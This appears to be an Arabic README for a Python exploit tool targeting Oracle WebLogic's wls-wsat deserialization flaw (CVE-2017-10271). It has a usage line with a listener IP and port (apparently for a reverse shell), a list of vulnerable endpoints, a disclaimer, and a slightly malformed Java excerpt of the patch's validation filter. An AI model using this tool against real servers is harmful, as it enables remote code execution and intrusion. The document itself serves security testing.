
أداة استغلال تنفيذ التعليمات البرمجية عن بُعد في Oracle WebLogic WLS-WSAT (CVE-2017-10271)
سكربت اكتشاف واستغلال ثغرة إلغاء التسلسل في مكوّن wls-wsat الخاص بـ Weblogic (CVE-2017-10271)
$ python CVE-2017-10271.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/
أنت مسؤول عن استخدام هذا السكربت. لا يتحمل Kevin Kirsche أي مسؤولية عن أي إجراءات يتم اتخاذها باستخدام الكود الموجود هنا. تم إنشاء الكود للفرق التي تسعى إلى التحقق من أمان خوادمها، وليس للاستخدام الخبيث.
شكر كبير إلى Luffin لإنشاء الإثبات الأولي (POC) الأصلي الذي استند إليه هذا العمل: https://github.com/Luffin/CVE-2017-10271
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
CVE 2017-3506
المصدر المحدّث: https://nsfocusglobal.com/technical-analysis-and-solution-of-weblogic-server-wls-component-vulnerability/
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()) {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXEception {
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if (qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if (qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if (qName.equalsIgnoreCase("void")) {
for(int attClass = 0;attClass < attributes.getLength(); ++attClass) {
if (!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void: " + attributes.getQName(attClass));
}
}
}
... more code here ...
}
}
}
}
}